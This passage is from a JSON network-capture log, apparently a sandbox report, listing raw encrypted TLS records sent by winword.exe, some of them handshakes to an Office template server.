  626. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010jo\\xa8\\x16o\\xdbq\\x82\\x91z8u\\xbfi!\\xc5\\x8a\\xf2n8[=i\\xc6^\\xe1\\xe5\\x00^\\x970p\\xe2\\x06\n\\x7feb{\\xc0\\xb3\\x96cd\\x87\\x1a\\xa4\\xd2\\x1e\\x1a\\xa4\\x14\\x1d\\xee\\x08\\xdb\\xcc\\x18\\xe8\\xb0h\\l\\x14\\xd4_\\x15ea\\xa5/\\xde\\xf6\rwk%~\\xd1\\x9cpm\\xe1\\x1dfe=x\\xc9\\x0c\\xe6r\\xb1l\\xb5.9,\\xbfi\\x89az~\\xadg\\xb8\\xf9\\xdaa\\x85q;u\\x8c\\xd9h\\x15\\x05\\xaf\\x81%#r6>\\x91j\\xe8\\xb8\\xd4\\x07=y\\xbay\\xfbj\\x1d\\xc6\\xbe`x\\xb9\\xf0\\xd0\\x10\\x8d\\xf7\\x1e\\xdc^\\xc5\\x9e\\xbd7v)\\xbat\\xd6\\x03(&\\xb6\\xe0x^\\xef\\x17\\xfa\\x98 \\xde\\x19\\xa6f\\xce\\x04r\\x8d!\\xcb\\x17\\x82\\xfb\tsw\\x1d\\x92\\xd7py\\xf4il\\xa7\\x95e&%t\\xaa\\x93\\xf6\\x8e\\xbf5\\x9c\\x0em\\xdd'\\x13\\x12\\xe8\\xe2\\x17\\xe9\\xbb\\xb97\\xdd5\\xda\\x9cj\\xb3q\\xed\\x03;8\\x89\\x19\\x14`\\xb6t\\x07\\xe4gz\\xe6v&\\x9b\\xf7rv"
  627. },
  628. {
  629. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04u\\x91\\xf9\\xa4\\xcd\\x85\\x9d:\\xefa_cr\\xf0\\xeb&\\x07\\x11\\x1c\\x04v\\xeb\\\\x88m\\x8f\\x93\\xe8\\xb7\\x93`\\x85\\xbd-\\x9d\\x86\\xd9\\xff\\xb4\\xae\\x03\\xef\\x1a0\t\\xe1\\x0f\\xb73\\xc8\\xa99w\\xdab\\xf9j\\xe9t\\xe8\\xc3\\xe4c\\xed\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc5\\xdd\\xfe\\xc2q\\x1a\\xe0/~\\xb5\nui\\xf11\\xaa\\xd2\\x98\\xf0\\xe5\\xdf\\xb9d\\xfed\\xb1\\xae\\xf8\\x9ei\\xdc\\xc1\\xb2\\xac\rp\\xa2m\\x9evba\\xd3d\\x12\\xe8\\xa5r"
  630. },
  631. {
  632. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1c\\xb7\\x93\\x0b\\xdc\\xf9r\\xc0`\\xcf\\xd9\\xda\\xab\\xcfz\\xf0q>\\xb3\\xc7\\xc0\rrhc\\xb1\"\\xc2\\xf3\\xdd(\\xf5d\\x1ed\\x13h>\\x9f\\xbex\\xfer\\xef\\xf6\\x1e\\xb9*\\xbe\\xa3\\xb8\\x80o\\xd6\\xf94<\\x83o\\xed\\x83\\xa77p\\x06\\xe0$\\xf1n_\\xacl\\xfc{f\\x13eb\\x815'\\xcc!\\xf89\\x04<kg\\xfe\\xc3\\xa5\\xec\\xc9\\x14\\x82\\xb6b\\x91\\x0c\\xbf\\xe9p\\x18\\x91e\\xbf\\xc0\\x04\\x9d`\\x8e2\\x1bm\\xf6\\xbd\\x7f\\xb4\\x85c\\xce\\xc1\\x11\\x96\\x004c9\\x06z\\x10u^d\\x93s\\xc8\\x92\\x056\\xe3\\x9d\\x01\\x93\\x7f\\xee\\xaax\\xf5-\\xc4\\xd4\\xb2\\xe6.\\x1c\\x8dg,\\x04p7=\r\\xf3\\xc4\\x98\\xa7\\x1d^\\xfd\\xc9a\\xa4\\xc8\\xf1/\\x7fjpa\\x17[\\x07g\\x8a\\x05\\xe7\\xbb`\\xc89\\x9d\\xfak\\xa2\\xcfg~\\xfar\\xd4\\xa8\\xfa\\xdf\\xc0kbk\\x06\\xee\\x9c!d\\xc2@\\x842\\x95#\ns\\xe7\\xc5e\\xc7\\x19\\xb6\\xc8\\xbb?w>\\xb2a\\xbcz\\xb7\\x0f\\x16\\xf1t\\\\xee\\xafn\\xb0\\x98\\xb0j"
  633. },
  634. {
  635. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04~\\x90\\xf3\\x1d\\xf3f\\x9b-h\\xd0rbkz.\\x03\\xe4\\xa9\\xf7\\x94\\xdd&\\x7f\\x98\\xb0\\xfb\\x89\\x9a\\xc7\\xfd\\xef\\xcd\\xf4\\x95\\xff(\\xd1\\x02\\xb3\\xb8\tlt=\\xab\\x12\\x8br\\xf0\\xb8\\xf6|\\xad\\x95\\x06k\\xe1\\x98\\xa8\\xd0\\x8fltx\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\xb0&\\x1c<\\xa3\\xd9\\xf2{%%\\xb9\\xb7\\x9fs\\x8e(ll\\xd5\n\\x12\\xcf\\xfck\\x9d\\x82\\xd6\\x81\\x93\\x02\\xec\\xa6\\xf07yn\\x1c\\xe3a<w\\x81\\xd6d*\\xe0`"
  636. },
  637. {
  638. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbf\\xbf\\x0b^\\x99z\\x91\\xa6\\x8a\\xc5,h!)\\x8eqi\\xf4\\xd7ykt\\x02\\xcb\\x9d\\x1e\\xb3j\\xf7\\x1dm\\xd0\\x94\\x98\\xc3\\xf3+k\\xf2\\x03o\\xb89@ \\xec\\xce\\xa1\\xcctg|\\xba\\xec\\x16\\xe2\\xeb;\\xd2\\xff\\x01^\\xe3\\xf4*,b\\xd1;$$\\xf4\\xca\\xf5m\\x0fd\\xe1\"\\xbc\\x002\\xe2r\\x90\\xb0%\\xee\\x03[v\\xfc\\xab\\x9al\\xe1\\xfc\\xdbj\\x02\\x0b\\xf5o\\xa3\\xbc\\xaa\\x9f\\xb3\\x9f\\x0b\\xe2uf\\x1f\\xd5\\xdc\\x98\\xc7\\x13\\x8c\\x15v\\xe1\\x1d\\xbd@\\x1d\\x99\\x1f\\x18\\x06\\x0c\\x11ri\\xf1\\xf2\\xa2\\xb2\\xd8\\xc8\\xad\\x8a\\x9c\\xa3\\xf5\\x1b\\x98\\xca\\x81\\xf6\\xf9\\xc1_k\\xf2y\\x16q\\x16]l\t\\xb7^?j\\xbf\\xc8\\xa5\\x92\\x1c\\xf5\\xf2\\xc0\\xad\\x8c\\xdbz\\xf7\\x13xhe\\xf2\\x15ql\\xdb\\xb5\\x833y\\xc4<\\x80\\x8d\\x83b\\x12\\x14\\x1e)\\x9b\\x12\\xb9\\xea<\\xb2\\xb8(\\xf8\\xa3\\x9c!:\\x05s\\xd5\\x10\\l\n\\xf8\ra\\x9f\\xf9\\xfe.<\\xa1wp\"th\\xe8\\x0e\\xeb\\xde\\xa2|\\x9bugsn\\x13\\xbf]"
  639. },
  640. {
  641. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xce\\xcf\\xfd\\xa6\\x0c\\x87e\\xc2c\\xc2u\\xe4\\x96\\xa1\\x1e\\xc8\\x9e\\x831\\x08cd\\x05\\x16\\xf8a+\\x9d0-!;?\\x0c\\x9d&\\xc9\\x81\\x0c\\xe9\\xf7l=\r=s\\x93s\\xfb>fx\\x96m\\xba\\xb9\\x8b\\xbf\\xa3\\x81\\xec@\\xce\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000}-\\x940\\xe93\\xac\\xea\\xbe]\\xe6\\xdb\\xa8zj\\x87\\xcd\\xe5\\x1f$\\xecp\\x84m}\\x82t\\xda\\xae\\x91\\xfb|6'\\x8aa\\x04\\xf1t\\xe5g\\xb1\\x0fe\\xe4\\xa5[_"
  642. },
  643. {
  644. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xda\\xa9\\xe3d\\x88\\xa5\\xc89\\x9bo\\x85w\\xcat/i\\x8f\\x03e\\xa9\\xbcc`\\xa9\\x85q\\x83'b\\xae\\x06\\xa7\\xc9\\x9f\\xfd\\x90\\xfa}\\xa7\\xd7\\xae\\vgz\\xc7\\x94\\xfbzs\\xbd\\x0fi\\x9f\\xd3\\xfa\\x8a\\xd4f\\x9bl2\\x94\\x83\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x13\\xa3\\xe2\\x9b]\\xa4\\x96\\x1a\\xa0\\xc8\\xdd\\xde\\x8bw\t##\\x92z\\xb5z|\\x87gz\\x19\\x1f\\x9d\\x9cg}\\xcb}\\xe8 \\xe1v\\xd5\\x89\\xdb\\x9e\\x0c\\xb5\\xc0\\xb8$\\xb8\\x97"
  645. },
  646. {
  647. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6c\\xee\\xd9\\xdd\\x91lz\\xba\\xf7y\\xd4\\x96x6\\x94sp\\xd2\\xc7,\n\\xebwv\\x01b\\\\x15\\xd7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  648. },
  649. {
  650. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3)[9\\x8a\\xcb\\xcc\\xc2\\xef\\xfb\\xabv2\\xb5\\xd7z\\xad\\xef\\x1b8-5\\x82\\x11\\xb9\\xc8&\\x1a5\\xfc\\xb8\\xa4*\\x15\\xdfw\\x1bl\\xd1d\\xdb/\\xbfq\\x8a\\xcds\\xb7=*\\xbe\n\\x15h?}\\xf1\\xea\\xeb/\\\\xba\\xd9\\x17\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000?\\xcb\\x86b\\x99\\xb3\\x05\\x1by\\xfa\\xc3n3\\xb9r\\xd4\\x8b\\x81n\\xb4\\xa4\\xf3\\xb0w\\xed\"\\xa8\\xfd\\x86\\xd0jg?\\xed\\x0ba\\xebq\\xde\\x06\\xf7\\x02\\xe0p\\x9d%\\x81>"
  651. },
  652. {
  653. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04@\\x87\\xfb\\xc9\\xab\\x1e\\x1d|(\\x85=\\xa5\\x90\\xed\\xe4a\\xaa\\xdb\\xda\\xf1d\\xcbfw!%\\xc5\\xcb;\\xdd\\xb3\\x97>\\x1b\\x95ji,i\\xee\\xef`\\x1f\\xc6$<\\xa2\\xb2\\x93j\\xebq\\xfc\\x0f&\\xaf\\xeb\\xd8ha\\x0b\\xdb\\x16l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000vs\\xdc\\xeb2h\\x1e\\xbb\\x94\\x86_\\x9e\\xady\\xa5\\xd8\\xd9\\xd5\\x8c\\xed)\\xffzl\\xb0\\xb1\\xdc\\xc3\\xdc\\xdc+%\\xf8\\xb5\\x93\\xech\\xa1&c-s\\x0e50\\x1dg\\xe4"
  654. },
  655. {
  656. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6c~\\xa6\\xf2\\xb1+\r\\xe4\\xdb\\xff\\xc0l\\xfa\\xcb\\xf5#^!q\\xd7\\xc5+\\x80b\\x8c\\x0b\\xd4\\xb9\\x95\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  657. },
  658. {
  659. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xef\\xc4\\x8b\\xa0x\\xccg\\x0b*\\xfce\\xb7g\\x038\\x81\\xa0ku6{\\x1e|\\xf9\\xab}\n\\xae`\\xb3\\x1a\\xf5`\\xf97,\\x16\\xa9\\xf6\\xf0\\xc1>6\\xb8\\xb97\\xc9h\\xd5\\xc1\\x0b\\x9d?\\xb4z@\tq\\x0ees\\x1a\\xfb\\x03\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaf\\xd4\\xcb\\x1e\\x9a\\xdb\\xee\\xb4\\x89\\x97\\x1c\\x9d\\x19\\x0b\\xa8\\xe2\\x83\\xab\\x0e\\xf0\\x9a\\xd6b\\x90&?\\xb3m\\xa3\\x9f?d\\x8d\\x9a_\\xc2\\xae\n\\x013\\\\x06p\\x9eu\\x9b\\xe0r"
  660. },
  661. {
  662. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l\\xeb\\xc0\\x89\\x88\\xbd\\xbd\\x98[\\xdcm\\x14\\xdcm\\xa4\\xb6\\x0e#\\xd6q\\x0b\\xd1\\x95\\xfb\\xc5\\xf7?\\x9f\\x8d\\xa5!\\x04\\xf5\\xe0\\x88l\\xaba\\xb2t\\xf3\\x91:puv(\\x15\\x99\\x91\\xde'\\xf3\\xae$\"\\xfb\\xf6\\x1288hz\\x87\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005\\x8f\\xa7\\x19\\x8a\\xaf\\x80\\x9e\\xcc\\x04d\\xb4\\xd9\\xe0g\\xa6ng\\xfe\\xff\\x08\\xb7\\x7f\\xd0\\xb6*\\x9c{\\xd5\\xef\\x97\\xdd\\xbfw\\xec\\xcd\\xa1\\xb6\\xc9\\xfc\\xcd\\xe7\\xee\\x8ej\\xfe\\xa3r"
  663. },
  664. {
  665. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xa0\\x83wt\\xc9\\xc1\\xcetu2e\\xd7v[{\\xb2<\\x81\\x1a\\x91i\\x7f\\xf3\\x8c\\xaa\\x005`\\xb0d$\\xbb\\x19@?\\xa0\\xd9}\\xa3\\x03\\xb4{,\\x92n\\xf0\\xfcys\\x19\\xf5\\xc7\\xb7\\xf0\\xd0\\xddx\\x9a\\x91\\xc9w\\x15\\x88\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000[\\x14ds\\xcdd\\xb9p\\xb0\\xf9\\xb15\\xd3k\\xdf\\xba\\xa0sml=\\xa1y@q\\x0e\\x85%~\\x87\\xda\\xb0\\xc9\\xf3n\\xda{\\xa6\\xb0l\\xa4\\xe0_\\xe5`\\xd6t\\x9e"
  666. },
  667. {
  668. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0ci^:\\xd3\\xa8\\x9a\\xff\\x15\\xc2e\\x96]\\x9a9\\x00\\x81\\x19\\xef\\x1fpv\\x1f\\x9a\\xe2\\xa8!\\xe8 {\\xc1\\xc8\\x13a\\xc6r\\x01(\\x98\\xf8r^\\xa3\\xb0tj\\x10\\xb6\\x02z\\x0c'\\x9bgm0!\\x10\"\\xa7\\x9b\\x9b\\x19\\x87\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb5!\\xa0\\xef\\x108:\\x85\\x01\"\\x03\\xaf\\xce2\\x1e\\x1dw\\x14\\xaa\\xb5\\xe5mf\\xa3\\xd1\\xe5\\x82\\xa3t4\\x85\\xb1\\xa1_\\xe9\\x8b\\xf7\\x96\\xe9\\x83\\xfc\\xec\\x1c\\x8f\\xdam\\xa9y"
  669. },
  670. {
  671. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9c&\\xae\\xe3\\xa8\\x94v\\xed\\xb6\\xda\\xc3\\xed\\x1a\\xfci\\xefy9\\x1d:\\xdc\\x04j\\x11x\\x83uif\\xab0\\xe2p\\xa9e\\x82jt\\x873\\xa4\\xef^\\x126\\xdb\\xc5n\\x84\\x15\\xf3\\xe2$\\xf1;\"\\xb2\\xdc\\x06ol\\xff8\\xbd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1\\x1b*1\\xfd\\xe8)\\xa64\\xbc\\xe2\\xfb\\xb0\\xba/\\x1e\\xed\\xbb\\xd7\\x89\\\\xae\\x80\\xe1\\xc5\\xcc4\\xd2\\xfd~8%\\xb1\\xcb\\xc1\\xfer\\xa43_dr\\xf0\\x8d:u@\\xd3"
  672. },
  673. {
  674. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc5\\xbd\\x93!z\\x82'ibp\\xe7,:nv\\xd9\\xd4\\xb5\\xee{yc|\\x7f\\xa46d\\x97v\\xc5\\xb4\\xad\\xb79\\xabid\\x88,\\xf3sn\\x94\\xae\\x93\\xab\\xf7cb~nz\\x87x_\"x\\\\xc8e\\x16\\x81\\xb9^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x7f$\\xc6.\\xb9\\xd6}\\xf2%\\x1e\\x08.\\xcb?[\\xb8\\\\xde\\x0b\\x05\\xcbi\\xc08\\xa6g\\xfe\\x95xh=\\x0f\\xf1\\xc1\\x10cl^f\\x94g\\xa0\\x8a\\xf1h\\xca\\xf0\\x99"
  675. },
  676. {
  677. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\x00f\\x93\t~\\x93|d%\\x181-\\x17g\\x92\\xd4\\x16\\x99\\x11\\x10\\xf4dnh\\xc0ug\\xd29\\xb2\\xdf\\x10\\xcf\\xf41\"^\\xed\\x8a\\x15g\\xad\\xe5x\\x91\\x9fegxp\\xe2\\x07/\\x83rx0\\x90\\xc0\\xf4\\xc6h\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000!d\\xaa`\\x14\\xd2\\xd5\\x12\\x87p\\xe8\\xd2&e\\x92\\x1a3\\xe6\\xf8\\x1e\\xbd\\x19\\xb3\\xc4\\xa9\\xe5g\\x89%\\xdb\\xe9\\xd06\\xfdg\\x116\\x00#\\xa1\\x06\\xe6\\x06(\\x86j*\\xf0"
  678. },
  679. {
  680. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6cb\\x89\\xd7\\xf6\\xb4\\xd0f\\x14\\x95q\\xc3\\x0b\\xdd\\xe7\\xee\\xe2s\\x95\\x02\\x06\\xa7\\xb0x|\\x03s\\xdf\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  681. },
  682. {
  683. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc6\\x19\\xdd\\x8bm\\x82\\x96j\\x9d\n\\xcf%\\xbd\\x80\\xe47#e\\xdd\\x9e\\xcf\\xd9\\xa7w\\x08\\xbe\\x97ac\\x92\\x16\\xf9\\xeah\\x1b\\xfc^\\x18ic\\x1b\\xa2t\\x81\\xda\\x87\\xe2\\x9bs\\x81\\xdc\\x92[~l\\x8f$\\xdb\\xc7,\\xe3\\x11\\xa2\\x89\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x13\\xeeq\t\\xa3nd\\x96$\\xb6\\xcad\\x9e\\x8f!\\xd2\\xc9\\xeb]p\\x94,\\xban<\\xa0\\xc4\\xb1\\x8f\\xc6\\xc0\n6\\xb5\\xc6\\xbat\\x0b\\x04n\\xa1\\xd9\\xa6!\\x88\\x87mf"
  684. },
  685. {
  686. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04ao,lu\\x8d\\xc6\t\\xb1%\\x14\\x18\\x04\\x1b\\xc5^\\xa2s\\xd4\\xb4\\x06.\\xed\\x12\\xacsy\\xc8z\\x1ar\\xd5s\\xc0\\x1c\\x16=ng\\x04\\xe8s\\xf0\\xbc\\x01\r\\xa1\\xf9\\xe1\\x8b)\\xa2\\xa8]\\xe5\\xfc\\x838e}\\xd6\\xb8&\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x87\\xae\\xc0\\xa5\\xdc\\x1a\\x97\\xc9\\x9e\\x0f\\xaatr.$\\xb1\\xa6\\xf0\\x9d\\xe2j\\x1d+\\x1a'\\xa8d\\x18\\xe5\\xab\\xf6\\x0fs\\xb1?\\xe2h\\xb2\\x83\\xce\\xd2\\xadw \\xf8-\\xf2l"
  687. },
  688. {
  689. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e\r\\x10\\x7fq\\xfb0hm\\x86\\x9a\\x8c,\\xfd\\xb2\\xd5{!e\\x1c \\xfd\\xa05bk\\x96\\xabo'y\\xaa_1\\x8f\\x9d\\xfe\\xef\\x18p\\xd5\\xfd\\xfa\\xd9\\xedv\\x9d\\xd4(\\xaf\\x8f\\x1a\r\\xc6\\xd1qdh\\xee!\\xc1\\x9e_.\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc0\\x93\\x8d\n\\x88\\x12\\x0c\\xf8s.j\\xa0z/!z\\x98\\xdf\\xd9\\xcd\\x13\\xf3\\x83`\\xe9\\x188\\xa0m\\xbc\\xa3@\\x81\\xc0\\x15\\x8b\\xed\\xd0*\\xf5\\xe9\\x96\\x1c\\x9d\\xc8h_\\xf3"
  690. },
  691. {
  692. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x12x\\xea\\x04\\x1d\\x19`(\\x81.r=j0h4\\xa1o\\x95\\xef1i\\x9b!d,b\\xce\\x93k\\xa0\\x07\\xfe\\x87\\xbb\\xf3\\xaef\\xcc\\xb8\\xcf\\xdf\\xa4\\xdf\\xbb\\x83x\\x95\r=fd\\xbcn\\x91ly\\xab\n\\xf1\\xf2\\x05\\x16:\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)z\\x05\\xae\\xbb%\\x7f\\x85\\xf5|\\x13d\\x85\\xc8\\x9d\\x1a\\xdc[\\xcb\\xc5\\x86+\\xeb\\x07\\x83\\xb4\\x02{\\x91\\x7f\\xed\\x94k7\\xec\\xf5ut\\x9c\\xcd\\xc5\\xd4\\x8d>ck5\\xc4"
  693. },
  694. {
  695. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#\\x14\\xcf}\\xae\\xb5!%$d\\xf6\\x8c\\x1d\\x95\\x9b!\\xd0%\\x97\\xbe\\x89\\xa7\\xb9\\xd5\\xabd\\xc9\\x16\\xe7\\xe4\\xf0ly\\x82\\x13\\xd7ld\\xd2\\x99\\xb6m?\\x88\\x8f\\x90\n\\x1ag\\xccf\\x88\\x06\\x11s\\xb9\\xf6\\x16\\x93xk]\\x98\\xf0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\n<\\xe7\\xdb\\x06\n\\x8c\\x9afl\\x8c\\xd4\\x1cdj\\x0e\\x96d\\x13\\xe6\\xad\\x1c\\xbds\\x7f\r\\xbf\\xf5\\x90&\\xfb\\xa4\\xca\\xfal\\xfc\\x84a\\xaf\\xee<\\x94ff\\xd6\\x1b\\xe3"
  696. },
  697. {
  698. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x89\\x13\\xbcx\\xff\\x19\\xb8\\x0c\\xa1@q\\xa0\\xa3\\xc4\\x94o\\xfa/o\\xc3s\\xbe #//s\\x96\\x82\\xc1\"\\x11\\xda\\x8f\\xeb\\xf6\\xab7f^cb3\\x80|\\xfb5\\xdd\\x1e\\xb3\\xf4r\\x0b/\\x0f\\xc0(z{z\\xf3\\xf1\\x9e\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o\\x088\\x7f\\x19*\\xda\\xa8\\x1c\\xee\\xe8@k1s\\x18\\xba]\\xe0\\x83\\xb1\\x17\\xabc!\\xac\\x82\\xd5a\\xd8\\xc1%>\\xcer\\x00\\x954\\x84\\x17's\\xc2e\\xd2\\xb31g"
  699. },
  700. {
  701. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0103\\x0fm\\xa1\\xfdcfhs)r m\\x9ch?\\xc9y\\xab;o\\x83\\xaf9b\\x96-\\xf3w\\x13g\\x81\\xf6=\\x9b\\xb8\\xb9\\xc4\\xf8\\xdfk5\\xefb\\x19\\xdb\\x9f\\xa72d\\xa6\\xa3]\\x127\\xdf\\xc0;\\x93v\\xaano\\xeb>ok\\xdb\\xba3\\xd4&\\x08}\\xd4\\xb9\\xb7\\xc6\\xeb\\xee\\x8283\\xff\\x90f\\xec*\\xd3^\\xf7\\xc3\\xbb\\xb0y\\xb4\\x05\\x17\\xb0\\xa7?\\xad*\\x97\\xb5\\xcd{\\xb1z$\\xd9k\\xa6\\x01\\xb5\\xaf\\xec\\x9cj\\xad9\\xaa\r50\\xc8\\x0c\\xb8\\x1f\\xdc8w\\xcc\\xb1\\xa3\\x12\\xba\\x82>\\xa9\\xc2\\x8f\\xb5v\\xe2l\\x97\\xd6\\xc0y6@\\xff\\xc5$\\x0fz\\xce\\x9c\\xbb$\\xafry\\xd3\\xb2m\\xf5\\xa2\\xee\\x98y\\xb4m5\\x8d\\x02\\x08\\xe2]\\xc3\\x9ch\\x8e\\x15g\\xd7\\xc7\\x9e_k\\x04tf}\\xf5\\x1f\\xf2~\\xaa\t\\xbe_\\x1d\\x83\\xff\\xc3j\\xf0q\\xe1#0-\\x05\\xb2\\xb5\\xa7\\xd1n\\xdc'\\xae\\xba\\x96\\xd5\\xb4\\xc7\\x1a*x\\x87\\x9c\\x87r1?\\x18\\xf6d\\x1c\\xfb\\x9d\\x0778\\xcdx\\xac5\\xc6"
  702. },
  703. {
  704. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbf~\\xa0x]7\\xb2\\xe6k\\xacx \\xaf\\xd5\\xc1w\\xae1\\x1cw\\x1c9\\x83\\x83\\xf3\\xd7\\xf7\\xd5t\\xde\\x8d\\xd36\\x88\\x06\\xa3c\\xe1p\\x7fcwbqd#\\x83\\x83\\x9cy!p\\x11\\xc7j\\xbdzg\\x90\\x13\\x15\\xda%g_t\\xb2\\xc8\\x85<af\\x14m;c\\x92]p\\xf3i\\x89\\xa3\\x9a/\\xbd^8\\xda4q\\x0f|\\x8e\\xa63\\xf5\\xdd\\xa3\\xf2\\xa8\\xf5g\\x80\\xbdo\\x16\\xe1a\\x7f,\\x0c\\xd5\\x96z\\xe8\\xf4\\xbb&\\x1cvfl'\\xc8\\x8bb \\xe4f\\xd0r\\x02\\x95\\x11j\\xbe\t\\xe2c\\xd7faf\\xael\\\\x80d\\x07\\xe6\\xb2*/\r\\x08\\xb6\\x17\\xde\\x82\\x14\\xf6\\xd2\\xea\\xa8r\\xaa\\h\\xfa\\xa9\\x94t\\x80\\xbc\\xfb\\xf7\\xcf\\xf6\\xf1\\xaf\\xa1\\x8f\\x89k\\xdd\\x87\\x83p0\\xf6\\x9f\\xd3r\\x10\\x8f\\x1ai&jo\\x9bm\\xbe\\x7fym\\x9e\\x03k\\xb7x\\x0c\\xd2\\xb8\\x190\\xbd\\xad\\x1b\\xa8\\x0e\\x82\\x18\\x1d\\xc9\\x8c\\xb6\\x8fxwl\\xf2\\x15`\\x0b\\x87^q\\xc4&\\x0e\\x1a\\xc2t\\x9c\\xad\\xa5\\xcb\\xec*"
  705. },
  706. {
  707. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010'\\xdb\\xa8\\xf0|ak\\xe4)r05\\xf1\\xd2{\\x80\\xce\\xba\\x0bg`ff\\xdc\\x87(e\\xe0\\xb4\\x88t\\x87\\xab\\xcd\\xba\\xdd\\x1er\\x01y\\xed\\xe6\\\\x15\\x83x\\xf1io\\xed\\xe2\\x1ct\\xd3\\xa7\\xf0\\x1e\\x03c#\\x0bl\\xf6\\xfa\\x13\\xf9\\x9e\\xf1'\\xd4\\x18\\x8d8c\\xda\\xe6w\\xf84\\xdev\\xd1\\x83s\\x0c\\x13jzu\\xc1\\xd0l#\\xff\\x95\\x92\\xe0\\x92\\xae\\x0fi\\x14\\xa4uo\\xf0\\x93@\\xaek\\xc63\\xa6+c\\x03\\xa274\\x0chl\\x00`\\xe3a^\\xa0\\xd6=\\x98p\\xadn|1@n\\x84in2\\x0f\\x1e\\xa9\\xe3?\\xc0\\x85^\\x81h\\x11u\\x14\\x1b\\x86;\\x97\\x9b\\x83z\\xe1\\x0c\\xa1\\xc2i\\xf1\\xbd\\xa7i\\x8b\\xff